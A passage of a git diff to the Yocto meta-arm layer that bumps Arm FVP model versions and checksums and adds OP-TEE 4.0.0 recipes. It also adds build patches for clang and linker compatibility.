+SRCREV_mbedtls = "1873d3bfc2da771672bd8e7e8f41f57e0af77f33"
LIC_FILES_CHKSUM_MBEDTLS = "file://mbedtls/LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
diff --git a/meta-arm/meta-arm/recipes-devtools/fvp/fvp-base-a-aem_11.22.14.bb b/meta-arm/meta-arm/recipes-devtools/fvp/fvp-base-a-aem_11.23.9.bb
index 606f97723f..7d179b456e 100644
--- a/meta-arm/meta-arm/recipes-devtools/fvp/fvp-base-a-aem_11.22.14.bb
+++ b/meta-arm/meta-arm/recipes-devtools/fvp/fvp-base-a-aem_11.23.9.bb
@@ -2,11 +2,11 @@ require fvp-envelope.inc
SUMMARY = "Arm Fixed Virtual Platform - Armv-A Base RevC Architecture Envelope Model FVP"
LIC_FILES_CHKSUM = "file://license_terms/license_agreement.txt;md5=1a33828e132ba71861c11688dbb0bd16 \
- file://license_terms/third_party_licenses/third_party_licenses.txt;md5=34a1ba318d745f05e6197def68ea5411 \
+ file://license_terms/third_party_licenses/third_party_licenses.txt;md5=0c32ac6f58ebff83065105042ab98211 \
file://license_terms/third_party_licenses/arm_license_management_utilities/third_party_licenses.txt;md5=c09526c02e631abb95ad61528892552d"
-SRC_URI[fvp-aarch64.sha256sum] = "6964dbe0e297a5a6b5abd290d09e883923b5150e087f285fcfb80077525bfe6e"
-SRC_URI[fvp-x86_64.sha256sum] = "eb0f5ca855fb8b0321e137b82306ac8a6b534a5625366ff10e20b3f68df533a4"
+SRC_URI[fvp-aarch64.sha256sum] = "d0925791ec4cfb99c3b4122afbb442ad076f92c4e173ed3bd092a3bf180d56f0"
+SRC_URI[fvp-x86_64.sha256sum] = "9d43c8eb347bf169a024cdbbc04572d169f60098fe061316b36bdbd4a44ffd79"
MODEL_CODE = "FVP_Base_RevC-2xAEMvA"
diff --git a/meta-arm/meta-arm/recipes-devtools/fvp/fvp-corstone1000.bb b/meta-arm/meta-arm/recipes-devtools/fvp/fvp-corstone1000.bb
index 7d556616f0..4ac9a6ca5d 100644
--- a/meta-arm/meta-arm/recipes-devtools/fvp/fvp-corstone1000.bb
+++ b/meta-arm/meta-arm/recipes-devtools/fvp/fvp-corstone1000.bb
@@ -1,11 +1,14 @@
require fvp-ecosystem.inc
-MODEL = "Corstone-1000-23"
+MODEL = "Corstone-1000"
MODEL_CODE = "FVP_Corstone_1000"
-PV = "11.19_21"
+PV = "11.23_25"
-SRC_URI = "https://developer.arm.com/-/media/Arm%20Developer%20Community/Downloads/OSS/FVP/${MODEL}/Linux/${MODEL_CODE}_${PV}_${FVP_ARCH}.tgz;subdir=${BP}"
-SRC_URI[sha256sum] = "dbdcb8b0c206fd56fd2296fe338a62902eb978883ba07f4da28440e180383b24"
+SRC_URI = "https://developer.arm.com/-/media/Arm%20Developer%20Community/Downloads/OSS/FVP/${MODEL}/${MODEL_CODE}_${PV}_${FVP_ARCH}.tgz;subdir=${BP};name=fvp-${HOST_ARCH}"
+SRC_URI[fvp-aarch64.sha256sum] = "e299e81d5fa8b3d2afee0850fd03be31c1a1c3fad07f79849c63e46ee5e36acc"
+SRC_URI[fvp-x86_64.sha256sum] = "ec34c9564ccb5b1eb62fc2757673343a353db1d116a7cb1b5f82f9d985d99cdf"
LIC_FILES_CHKSUM = "file://license_terms/license_agreement.txt;md5=1a33828e132ba71861c11688dbb0bd16 \
- file://license_terms/third_party_licenses/third_party_licenses.txt;md5=34a1ba318d745f05e6197def68ea5411"
+ file://license_terms/third_party_licenses/third_party_licenses.txt;md5=0c32ac6f58ebff83065105042ab98211"
+
+COMPATIBLE_HOST = "(aarch64|x86_64).*-linux"
diff --git a/meta-arm/meta-arm/recipes-kernel/linux/files/qemuarm-phys-virt.cfg b/meta-arm/meta-arm/recipes-kernel/linux/files/qemuarm-phys-virt.cfg
deleted file mode 100644
index b014e7f6aa..0000000000
--- a/meta-arm/meta-arm/recipes-kernel/linux/files/qemuarm-phys-virt.cfg
+++ /dev/null
@@ -1 +0,0 @@
-CONFIG_ARM_PATCH_PHYS_VIRT=y
diff --git a/meta-arm/meta-arm/recipes-kernel/linux/linux-yocto%.bbappend b/meta-arm/meta-arm/recipes-kernel/linux/linux-yocto%.bbappend
index 9d5266ba22..c4e351bb39 100644
--- a/meta-arm/meta-arm/recipes-kernel/linux/linux-yocto%.bbappend
+++ b/meta-arm/meta-arm/recipes-kernel/linux/linux-yocto%.bbappend
@@ -1,10 +1,5 @@
ARMFILESPATHS := "${THISDIR}/files:"
-FILESEXTRAPATHS:prepend:aarch64 = "${ARMFILESPATHS}"
-SRC_URI:append:aarch64 = " \
- file://0001-arm64-defconfig-remove-CONFIG_COMMON_CLK_NPCM8XX-y.patch \
- "
-
COMPATIBLE_MACHINE:generic-arm64 = "generic-arm64"
FILESEXTRAPATHS:prepend:generic-arm64 = "${ARMFILESPATHS}"
SRC_URI:append:generic-arm64 = " \
@@ -32,7 +27,6 @@ SRC_URI:append:qemuarm64 = " file://efi.cfg"
FILESEXTRAPATHS:prepend:qemuarm = "${ARMFILESPATHS}"
SRC_URI:append:qemuarm = " \
file://efi.cfg \
- file://qemuarm-phys-virt.cfg \
"
FFA_TRANSPORT_INCLUDE = "${@bb.utils.contains('MACHINE_FEATURES', 'arm-ffa', 'arm-ffa-transport.inc', '' , d)}"
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-client_4.0.0.bb b/meta-arm/meta-arm/recipes-security/optee/optee-client_4.0.0.bb
new file mode 100644
index 0000000000..dc9577c211
--- /dev/null
+++ b/meta-arm/meta-arm/recipes-security/optee/optee-client_4.0.0.bb
@@ -0,0 +1,7 @@
+require recipes-security/optee/optee-client.inc
+
+SRCREV = "acb0885c117e73cb6c5c9b1dd9054cb3f93507ee"
+
+inherit pkgconfig
+DEPENDS += "util-linux"
+EXTRA_OEMAKE += "PKG_CONFIG=pkg-config"
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-examples_4.0.0.bb b/meta-arm/meta-arm/recipes-security/optee/optee-examples_4.0.0.bb
new file mode 100644
index 0000000000..f082a25d05
--- /dev/null
+++ b/meta-arm/meta-arm/recipes-security/optee/optee-examples_4.0.0.bb
@@ -0,0 +1,3 @@
+require recipes-security/optee/optee-examples.inc
+
+SRCREV = "378dc0db2d5dd279f58a3b6cb3f78ffd6b165035"
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-os-tadevkit_3.2%.bbappend b/meta-arm/meta-arm/recipes-security/optee/optee-os-tadevkit_3.2%.bbappend
deleted file mode 100644
index a9732e4c9c..0000000000
--- a/meta-arm/meta-arm/recipes-security/optee/optee-os-tadevkit_3.2%.bbappend
+++ /dev/null
@@ -1,4 +0,0 @@
-# Include extra headers needed by SPMC tests to TA DEVKIT.
-# Supported after op-tee v3.20
-EXTRA_OEMAKE:append = "${@bb.utils.contains('MACHINE_FEATURES', 'optee-spmc-test', \
- ' CFG_SPMC_TESTS=y', '' , d)}"
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-tadevkit_3.18.0.bb b/meta-arm/meta-arm/recipes-security/optee/optee-os-tadevkit_4.0.0.bb
index ff0baf8cba..9fe2697e60 100644
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-tadevkit_3.18.0.bb
+++ b/meta-arm/meta-arm/recipes-security/optee/optee-os-tadevkit_4.0.0.bb
@@ -1,4 +1,4 @@
-require optee-os_3.18.0.bb
+require optee-os_4.0.0.bb
SUMMARY = "OP-TEE Trusted OS TA devkit"
DESCRIPTION = "OP-TEE TA devkit for build TAs"
@@ -22,3 +22,8 @@ FILES:${PN} = "${includedir}/optee/"
# Build paths are currently embedded
INSANE_SKIP:${PN}-dev += "buildpaths"
+
+# Include extra headers needed by SPMC tests to TA DEVKIT.
+# Supported after op-tee v3.20
+EXTRA_OEMAKE:append = "${@bb.utils.contains('MACHINE_FEATURES', 'optee-spmc-test', \
+ ' CFG_SPMC_TESTS=y', '' , d)}"
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-os/0001-allow-setting-sysroot-for-libgcc-lookup.patch b/meta-arm/meta-arm/recipes-security/optee/optee-os/0001-allow-setting-sysroot-for-libgcc-lookup.patch
new file mode 100644
index 0000000000..b060952c55
--- /dev/null
+++ b/meta-arm/meta-arm/recipes-security/optee/optee-os/0001-allow-setting-sysroot-for-libgcc-lookup.patch
@@ -0,0 +1,35 @@
+From d94ad6c6efb71f683b183e84919122bb6f3ac65d Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Tue, 26 May 2020 14:38:02 -0500
+Subject: [PATCH] allow setting sysroot for libgcc lookup
+
+Explicitly pass the new variable LIBGCC_LOCATE_CFLAGS variable when searching
+for the compiler libraries as there's no easy way to reliably pass --sysroot
+otherwise.
+
+Upstream-Status: Pending [https://github.com/OP-TEE/optee_os/issues/4188]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+---
+ mk/gcc.mk | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/mk/gcc.mk b/mk/gcc.mk
+index adc77a24f..81bfa78ad 100644
+--- a/mk/gcc.mk
++++ b/mk/gcc.mk
+@@ -13,11 +13,11 @@ nostdinc$(sm) := -nostdinc -isystem $(shell $(CC$(sm)) \
+ -print-file-name=include 2> /dev/null)
+
+ # Get location of libgcc from gcc
+-libgcc$(sm) := $(shell $(CC$(sm)) $(CFLAGS$(arch-bits-$(sm))) \
++libgcc$(sm) := $(shell $(CC$(sm)) $(LIBGCC_LOCATE_CFLAGS) $(CFLAGS$(arch-bits-$(sm))) \
+ -print-libgcc-file-name 2> /dev/null)
+-libstdc++$(sm) := $(shell $(CXX$(sm)) $(CXXFLAGS$(arch-bits-$(sm))) $(comp-cxxflags$(sm)) \
++libstdc++$(sm) := $(shell $(CXX$(sm)) $(LIBGCC_LOCATE_CFLAGS) $(CXXFLAGS$(arch-bits-$(sm))) $(comp-cxxflags$(sm)) \
+ -print-file-name=libstdc++.a 2> /dev/null)
+-libgcc_eh$(sm) := $(shell $(CXX$(sm)) $(CXXFLAGS$(arch-bits-$(sm))) $(comp-cxxflags$(sm)) \
++libgcc_eh$(sm) := $(shell $(CXX$(sm)) $(LIBGCC_LOCATE_CFLAGS) $(CXXFLAGS$(arch-bits-$(sm))) $(comp-cxxflags$(sm)) \
+ -print-file-name=libgcc_eh.a 2> /dev/null)
+
+ # Define these to something to discover accidental use
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-os/0002-core-Define-section-attributes-for-clang.patch b/meta-arm/meta-arm/recipes-security/optee/optee-os/0002-core-Define-section-attributes-for-clang.patch
new file mode 100644
index 0000000000..64fa9e45d5
--- /dev/null
+++ b/meta-arm/meta-arm/recipes-security/optee/optee-os/0002-core-Define-section-attributes-for-clang.patch
@@ -0,0 +1,241 @@
+From fc930e468045dda9eab4ebe6927cc322bb294f3b Mon Sep 17 00:00:00 2001
+From: Emekcan Aras <emekcan.aras@arm.com>
+Date: Wed, 21 Dec 2022 10:55:58 +0000
+Subject: [PATCH] core: Define section attributes for clang
+
+Clang's attribute section is not same as gcc, here we need to add flags
+to sections so they can be eventually collected by linker into final
+output segments. Only way to do so with clang is to use
+
+pragma clang section ...
+
+The behavious is described here [1], this allows us to define names bss
+sections. This was not an issue until clang-15 where LLD linker starts
+to detect the section flags before merging them and throws the following
+errors
+
+| ld.lld: error: section type mismatch for .nozi.kdata_page
+| >>> /mnt/b/yoe/master/build/tmp/work/qemuarm64-yoe-linux/optee-os-tadevkit/3.17.0-r0/build/core/arch/arm/kernel/thread.o:(.nozi.kdata_page): SHT_PROGBITS
+| >>> output section .nozi: SHT_NOBITS
+|
+| ld.lld: error: section type mismatch for .nozi.mmu.l2
+| >>> /mnt/b/yoe/master/build/tmp/work/qemuarm64-yoe-linux/optee-os-tadevkit/3.17.0-r0/build/core/arch/arm/mm/core_mmu_lpae.o:(.nozi.mmu.l2): SHT_PROGBITS
+| >>> output section .nozi: SHT_NOBITS
+
+These sections should be carrying SHT_NOBITS but so far it was not
+possible to do so, this patch tries to use clangs pragma to get this
+going and match the functionality with gcc.
+
+[1] https://intel.github.io/llvm-docs/clang/LanguageExtensions.html#specifying-section-names-for-global-objects-pragma-clang-section
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ core/arch/arm/kernel/thread.c | 19 +++++++++++++++--
+ core/arch/arm/mm/core_mmu_lpae.c | 35 +++++++++++++++++++++++++++----
+ core/arch/arm/mm/core_mmu_v7.c | 36 +++++++++++++++++++++++++++++---
+ core/kernel/thread.c | 13 +++++++++++-
+ core/mm/pgt_cache.c | 12 ++++++++++-
+ 5 files changed, 104 insertions(+), 11 deletions(-)
+
+diff --git a/core/arch/arm/kernel/thread.c b/core/arch/arm/kernel/thread.c
+index 66833b3a0..b3eb9cf9a 100644
+--- a/core/arch/arm/kernel/thread.c
++++ b/core/arch/arm/kernel/thread.c
+@@ -45,15 +45,30 @@ static size_t thread_user_kcode_size __nex_bss;
+ #if defined(CFG_CORE_UNMAP_CORE_AT_EL0) && \
+ defined(CFG_CORE_WORKAROUND_SPECTRE_BP_SEC) && defined(ARM64)
+ long thread_user_kdata_sp_offset __nex_bss;
++#ifdef __clang__
++#ifndef CFG_VIRTUALIZATION
++#pragma clang section bss=".nozi.kdata_page"
++#else
++#pragma clang section bss=".nex_nozi.kdata_page"
++#endif
++#endif
+ static uint8_t thread_user_kdata_page[
+ ROUNDUP(sizeof(struct thread_core_local) * CFG_TEE_CORE_NB_CORE,
+ SMALL_PAGE_SIZE)]
+ __aligned(SMALL_PAGE_SIZE)
++#ifndef __clang__
+ #ifndef CFG_NS_VIRTUALIZATION
+- __section(".nozi.kdata_page");
++ __section(".nozi.kdata_page")
+ #else
+- __section(".nex_nozi.kdata_page");
++ __section(".nex_nozi.kdata_page")
+ #endif
++#endif
++ ;
++#endif
++
++/* reset BSS section to default ( .bss ) */
++#ifdef __clang__
++#pragma clang section bss=""
+ #endif
+
+ #ifdef ARM32
+diff --git a/core/arch/arm/mm/core_mmu_lpae.c b/core/arch/arm/mm/core_mmu_lpae.c
+index 7e79f780a..ec4db9dc9 100644
+--- a/core/arch/arm/mm/core_mmu_lpae.c
++++ b/core/arch/arm/mm/core_mmu_lpae.c
+@@ -233,19 +233,46 @@ typedef uint16_t l1_idx_t;
+ typedef uint64_t base_xlat_tbls_t[CFG_TEE_CORE_NB_CORE][NUM_BASE_LEVEL_ENTRIES];
+ typedef uint64_t xlat_tbl_t[XLAT_TABLE_ENTRIES];
+
++#ifdef __clang__
++#pragma clang section bss=".nozi.mmu.base_table"
++#endif
+ static base_xlat_tbls_t base_xlation_table[NUM_BASE_TABLES]
+ __aligned(NUM_BASE_LEVEL_ENTRIES * XLAT_ENTRY_SIZE)
+- __section(".nozi.mmu.base_table");
++#ifndef __clang__
++ __section(".nozi.mmu.base_table")
++#endif
++;
++#ifdef __clang__
++#pragma clang section bss=""
++#endif
+
++#ifdef __clang__
++#pragma clang section bss=".nozi.mmu.l2"
++#endif
+ static xlat_tbl_t xlat_tables[MAX_XLAT_TABLES]
+- __aligned(XLAT_TABLE_SIZE) __section(".nozi.mmu.l2");
++ __aligned(XLAT_TABLE_SIZE)
++#ifndef __clang__
++ __section(".nozi.mmu.l2")
++#endif
++;
++#ifdef __clang__
++#pragma clang section bss=""
++#endif
+
+ #define XLAT_TABLES_SIZE (sizeof(xlat_tbl_t) * MAX_XLAT_TABLES)
+
++#ifdef __clang__
++#pragma clang section bss=".nozi.mmu.l2"
++#endif
+ /* MMU L2 table for TAs, one for each thread */
+ static xlat_tbl_t xlat_tables_ul1[CFG_NUM_THREADS]
+- __aligned(XLAT_TABLE_SIZE) __section(".nozi.mmu.l2");
+-
++#ifndef __clang__
++ __aligned(XLAT_TABLE_SIZE) __section(".nozi.mmu.l2")
++#endif
++;
++#ifdef __clang__
++#pragma clang section bss=""
++#endif
+ /*
+ * TAs page table entry inside a level 1 page table.
+ *
+diff --git a/core/arch/arm/mm/core_mmu_v7.c b/core/arch/arm/mm/core_mmu_v7.c
+index 61e703da8..1960c08ca 100644
+--- a/core/arch/arm/mm/core_mmu_v7.c
++++ b/core/arch/arm/mm/core_mmu_v7.c
+@@ -204,16 +204,46 @@ typedef uint32_t l1_xlat_tbl_t[NUM_L1_ENTRIES];
+ typedef uint32_t l2_xlat_tbl_t[NUM_L2_ENTRIES];
+ typedef uint32_t ul1_xlat_tbl_t[NUM_UL1_ENTRIES];
+
++#ifdef __clang__
++#pragma clang section bss=".nozi.mmu.l1"
++#endif
+ static l1_xlat_tbl_t main_mmu_l1_ttb
+- __aligned(L1_ALIGNMENT) __section(".nozi.mmu.l1");
++ __aligned(L1_ALIGNMENT)
++#ifndef __clang__
++ __section(".nozi.mmu.l1")
++#endif
++;
++#ifdef __clang__
++#pragma clang section bss=""
++#endif
+
+ /* L2 MMU tables */
++#ifdef __clang__
++#pragma clang section bss=".nozi.mmu.l2"
++#endif
+ static l2_xlat_tbl_t main_mmu_l2_ttb[MAX_XLAT_TABLES]
+- __aligned(L2_ALIGNMENT) __section(".nozi.mmu.l2");
++ __aligned(L2_ALIGNMENT)
++#ifndef __clang__
++ __section(".nozi.mmu.l2")
++#endif
++;
++#ifdef __clang__
++#pragma clang section bss=""
++#endif
+
+ /* MMU L1 table for TAs, one for each thread */
++#ifdef __clang__
++#pragma clang section bss=".nozi.mmu.ul1"
++#endif
+ static ul1_xlat_tbl_t main_mmu_ul1_ttb[CFG_NUM_THREADS]
+- __aligned(UL1_ALIGNMENT) __section(".nozi.mmu.ul1");
++ __aligned(UL1_ALIGNMENT)
++#ifndef __clang__
++ __section(".nozi.mmu.ul1")
++#endif
++;
++#ifdef __clang__
++#pragma clang section bss=""
++#endif
+
+ struct mmu_partition {
+ l1_xlat_tbl_t *l1_table;
+diff --git a/core/kernel/thread.c b/core/kernel/thread.c
+index 2a1f22dce..5516b6771 100644
+--- a/core/kernel/thread.c
++++ b/core/kernel/thread.c
+@@ -39,13 +39,24 @@ static uint32_t end_canary_value = 0xababab00;
+ name[stack_num][sizeof(name[stack_num]) / sizeof(uint32_t) - 1]
+ #endif
+
++#define DO_PRAGMA(x) _Pragma (#x)
++
++#ifdef __clang__
++#define DECLARE_STACK(name, num_stacks, stack_size, linkage) \
++DO_PRAGMA (clang section bss=".nozi_stack." #name) \
++linkage uint32_t name[num_stacks] \
++ [ROUNDUP(stack_size + STACK_CANARY_SIZE + STACK_CHECK_EXTRA, \
++ STACK_ALIGNMENT) / sizeof(uint32_t)] \
++ __attribute__((aligned(STACK_ALIGNMENT))); \
++DO_PRAGMA(clang section bss="")
++#else
+ #define DECLARE_STACK(name, num_stacks, stack_size, linkage) \
+ linkage uint32_t name[num_stacks] \
+ [ROUNDUP(stack_size + STACK_CANARY_SIZE + STACK_CHECK_EXTRA, \
+ STACK_ALIGNMENT) / sizeof(uint32_t)] \
+ __attribute__((section(".nozi_stack." # name), \
+ aligned(STACK_ALIGNMENT)))
+-
++#endif
+ #define GET_STACK(stack) ((vaddr_t)(stack) + STACK_SIZE(stack))
+
+ DECLARE_STACK(stack_tmp, CFG_TEE_CORE_NB_CORE, STACK_TMP_SIZE,
+diff --git a/core/mm/pgt_cache.c b/core/mm/pgt_cache.c
+index 79553c6d2..b9efdf427 100644
+--- a/core/mm/pgt_cache.c
++++ b/core/mm/pgt_cache.c
+@@ -410,8 +410,18 @@ void pgt_init(void)
+ * has a large alignment, while .bss has a small alignment. The current
+ * link script is optimized for small alignment in .bss
+ */
++#ifdef __clang__
++#pragma clang section bss=".nozi.mmu.l2"
++#endif
+ static uint8_t pgt_tables[PGT_CACHE_SIZE][PGT_SIZE]
+- __aligned(PGT_SIZE) __section(".nozi.pgt_cache");
++ __aligned(PGT_SIZE)
++#ifndef __clang__
++ __section(".nozi.pgt_cache")
++#endif
++ ;
++#ifdef __clang__
++#pragma clang section bss=""
++#endif
+ size_t n;
+
+ for (n = 0; n < ARRAY_SIZE(pgt_tables); n++) {
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-os/0003-optee-enable-clang-support.patch b/meta-arm/meta-arm/recipes-security/optee/optee-os/0003-optee-enable-clang-support.patch
new file mode 100644
index 0000000000..299a24ea7c
--- /dev/null
+++ b/meta-arm/meta-arm/recipes-security/optee/optee-os/0003-optee-enable-clang-support.patch
@@ -0,0 +1,30 @@
+From b33de2f059f1394028a94ee9da081fa6644b50a2 Mon Sep 17 00:00:00 2001
+From: Brett Warren <brett.warren@arm.com>
+Date: Wed, 23 Sep 2020 09:27:34 +0100
+Subject: [PATCH] optee: enable clang support
+
+When compiling with clang, the LIBGCC_LOCATE_CFLAG variable used
+to provide a sysroot wasn't included, which results in not locating
+compiler-rt. This is mitigated by including the variable as ammended.
+
+Upstream-Status: Pending
+ChangeId: 8ba69a4b2eb8ebaa047cb266c9aa6c2c3da45701
+Signed-off-by: Brett Warren <brett.warren@arm.com>
+
+---
+ mk/clang.mk | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/mk/clang.mk b/mk/clang.mk
+index a045beee8..1ebe2f702 100644
+--- a/mk/clang.mk
++++ b/mk/clang.mk
+@@ -30,7 +30,7 @@ comp-cflags-warns-clang := -Wno-language-extension-token \
+
+ # Note, use the compiler runtime library (libclang_rt.builtins.*.a) instead of
+ # libgcc for clang
+-libgcc$(sm) := $(shell $(CC$(sm)) $(CFLAGS$(arch-bits-$(sm))) \
++libgcc$(sm) := $(shell $(CC$(sm)) $(LIBGCC_LOCATE_CFLAGS) $(CFLAGS$(arch-bits-$(sm))) \
+ -rtlib=compiler-rt -print-libgcc-file-name 2> /dev/null)
+
+ # Core ASLR relies on the executable being ready to run from its preferred load
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-os/0004-core-link-add-no-warn-rwx-segments.patch b/meta-arm/meta-arm/recipes-security/optee/optee-os/0004-core-link-add-no-warn-rwx-segments.patch
new file mode 100644
index 0000000000..54b19efacc
--- /dev/null
+++ b/meta-arm/meta-arm/recipes-security/optee/optee-os/0004-core-link-add-no-warn-rwx-segments.patch
@@ -0,0 +1,63 @@
+From 024314135e8dfe40f26f63da55d0a1426f0a8691 Mon Sep 17 00:00:00 2001
+From: Jerome Forissier <jerome.forissier@linaro.org>
+Date: Fri, 5 Aug 2022 09:48:03 +0200
+Subject: [PATCH] core: link: add --no-warn-rwx-segments
+
+Signed-off-by: Anton Antonov <Anton.Antonov@arm.com>
+Upstream-Status: Backport [https://github.com/OP-TEE/optee_os/pull/5474]
+
+binutils ld.bfd generates one RWX LOAD segment by merging several sections
+with mixed R/W/X attributes (.text, .rodata, .data). After version 2.38 it
+also warns by default when that happens [1], which breaks the build due to
+--fatal-warnings. The RWX segment is not a problem for the TEE core, since
+that information is not used to set memory permissions. Therefore, silence
+the warning.
+
+Link: [1] https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=ba951afb99912da01a6e8434126b8fac7aa75107
+Link: https://sourceware.org/bugzilla/show_bug.cgi?id=29448
+Reported-by: Dominique Martinet <dominique.martinet@atmark-techno.com>
+Signed-off-by: Jerome Forissier <jerome.forissier@linaro.org>
+Acked-by: Jens Wiklander <jens.wiklander@linaro.org>
+
+---
+ core/arch/arm/kernel/link.mk | 6 ++++--
+ 1 file changed, 4 insertions(+), 2 deletions(-)
+
+diff --git a/core/arch/arm/kernel/link.mk b/core/arch/arm/kernel/link.mk
+index 49e9f4fa1..9e1cc172f 100644
+--- a/core/arch/arm/kernel/link.mk
++++ b/core/arch/arm/kernel/link.mk
+@@ -37,6 +37,7 @@ link-ldflags += --sort-section=alignment
+ link-ldflags += --fatal-warnings
+ link-ldflags += --gc-sections
+ link-ldflags += $(link-ldflags-common)
++link-ldflags += $(call ld-option,--no-warn-rwx-segments)
+
+ link-ldadd = $(LDADD)
+ link-ldadd += $(ldflags-external)
+@@ -61,6 +62,7 @@ link-script-cppflags := \
+ $(cppflagscore))
+
+ ldargs-all_objs := -T $(link-script-dummy) --no-check-sections \
++ $(call ld-option,--no-warn-rwx-segments) \
+ $(link-ldflags-common) \
+ $(link-objs) $(link-ldadd) $(libgcccore)
+ cleanfiles += $(link-out-dir)/all_objs.o
+@@ -75,7 +77,7 @@ $(link-out-dir)/unpaged_entries.txt: $(link-out-dir)/all_objs.o
+ $(AWK) '/ ____keep_pager/ { printf "-u%s ", $$3 }' > $@
+
+ unpaged-ldargs := -T $(link-script-dummy) --no-check-sections --gc-sections \
+- $(link-ldflags-common)
++ $(link-ldflags-common) $(call ld-option,--no-warn-rwx-segments)
+ unpaged-ldadd := $(objs) $(link-ldadd) $(libgcccore)
+ cleanfiles += $(link-out-dir)/unpaged.o
+ $(link-out-dir)/unpaged.o: $(link-out-dir)/unpaged_entries.txt
+@@ -104,7 +106,7 @@ $(link-out-dir)/init_entries.txt: $(link-out-dir)/all_objs.o
+ $(AWK) '/ ____keep_init/ { printf "-u%s ", $$3 }' > $@
+
+ init-ldargs := -T $(link-script-dummy) --no-check-sections --gc-sections \
+- $(link-ldflags-common)
++ $(link-ldflags-common) $(call ld-option,--no-warn-rwx-segments)
+ init-ldadd := $(link-objs-init) $(link-out-dir)/version.o $(link-ldadd) \
+ $(libgcccore)
+ cleanfiles += $(link-out-dir)/init.o
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-os_3.2%.bbappend b/meta-arm/meta-arm/recipes-security/optee/optee-os_4.%.bbappend
index 09650b9a7a..4f4a0006d4 100644
--- a/meta-arm/meta-arm/recipes-security/optee/optee-os_3.2%.bbappend
+++ b/meta-arm/meta-arm/recipes-security/optee/optee-os_4.%.bbappend
@@ -1,5 +1,5 @@
# Include Trusted Services Secure Partitions
-require optee-os-ts.inc
+require recipes-security/optee/optee-os-ts.inc
# Conditionally include platform specific Trusted Services related OPTEE build parameters
EXTRA_OEMAKE:append:qemuarm64-secureboot = "${@oe.utils.conditional('SP_PATHS', '', '', ' CFG_CORE_HEAP_SIZE=131072 CFG_TEE_BENCHMARK=n CFG_TEE_CORE_LOG_LEVEL=4 CFG_CORE_SEL1_SPMC=y ', d)}"
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-os_4.0.0.bb b/meta-arm/meta-arm/recipes-security/optee/optee-os_4.0.0.bb
new file mode 100644
index 0000000000..10b16aa0cb
--- /dev/null
+++ b/meta-arm/meta-arm/recipes-security/optee/optee-os_4.0.0.bb
@@ -0,0 +1,13 @@
+require recipes-security/optee/optee-os.inc
+
+DEPENDS += "dtc-native"
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"
+
+SRCREV = "2a5b1d1232f582056184367fb58a425ac7478ec6"
+SRC_URI += " \
+ file://0001-allow-setting-sysroot-for-libgcc-lookup.patch \
+ file://0002-core-Define-section-attributes-for-clang.patch \
+ file://0003-optee-enable-clang-support.patch \
+ file://0004-core-link-add-no-warn-rwx-segments.patch \
+ "
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-test.inc b/meta-arm/meta-arm/recipes-security/optee/optee-test.inc
index 90b72b9ff3..58f101392b 100644
--- a/meta-arm/meta-arm/recipes-security/optee/optee-test.inc
+++ b/meta-arm/meta-arm/recipes-security/optee/optee-test.inc
@@ -9,7 +9,7 @@ inherit python3native ptest
inherit deploy
require optee.inc
-DEPENDS = "optee-client optee-os-tadevkit python3-cryptography-native"
+DEPENDS = "optee-client optee-os-tadevkit python3-cryptography-native openssl"
SRC_URI = "git://github.com/OP-TEE/optee_test.git;branch=master;protocol=https \
file://run-ptest \
@@ -19,11 +19,14 @@ S = "${WORKDIR}/git"
B = "${WORKDIR}/build"
EXTRA_OEMAKE += "TA_DEV_KIT_DIR=${TA_DEV_KIT_DIR} \
+ OPTEE_OPENSSL_EXPORT=${STAGING_INCDIR} \
CROSS_COMPILE_HOST=${HOST_PREFIX} \
CROSS_COMPILE_TA=${HOST_PREFIX} \
O=${B} \
"
+CFLAGS += "-Wno-error=deprecated-declarations"
+
do_compile() {
cd ${S}
# Top level makefile doesn't seem to handle parallel make gracefully
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-test/0001-xtest-regression_1000-remove-unneeded-stat.h-include.patch b/meta-arm/meta-arm/recipes-security/optee/optee-test/0001-xtest-regression_1000-remove-unneeded-stat.h-include.patch
deleted file mode 100644
index 5e075d6f49..0000000000
--- a/meta-arm/meta-arm/recipes-security/optee/optee-test/0001-xtest-regression_1000-remove-unneeded-stat.h-include.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From ddd5ad19732c9a2a9fe236662a8d264c6b2b1a0a Mon Sep 17 00:00:00 2001
-From: Jon Mason <jon.mason@arm.com>
-Date: Sat, 15 Jul 2023 15:08:43 -0400
-Subject: [PATCH] xtest: regression_1000: remove unneeded stat.h include
-
-Hack to work around musl compile error:
- In file included from optee-test/3.17.0-r0/recipe-sysroot/usr/include/sys/stat.h:23,
- from optee-test/3.17.0-r0/git/host/xtest/regression_1000.c:25:
- optee-test/3.17.0-r0/recipe-sysroot/usr/include/bits/stat.h:17:26: error: expected identifier or '(' before '[' token
- 17 | unsigned __unused[2];
- | ^
-
-stat.h is not needed, since it is not being used in this file. So removing it.
-
-Upstream-Status: Backport [https://github.com/OP-TEE/optee_test/pull/688]
-Signed-off-by: Jon Mason <jon.mason@arm.com>
-Reviewed-by: Jerome Forissier <jerome.forissier@linaro.org>
-Acked-by: Jens Wiklander <jens.wiklander@linaro.org>
----
- host/xtest/regression_1000.c | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/host/xtest/regression_1000.c b/host/xtest/regression_1000.c
-index cd11f933ce43..8e338e59da21 100644
---- a/host/xtest/regression_1000.c
-+++ b/host/xtest/regression_1000.c
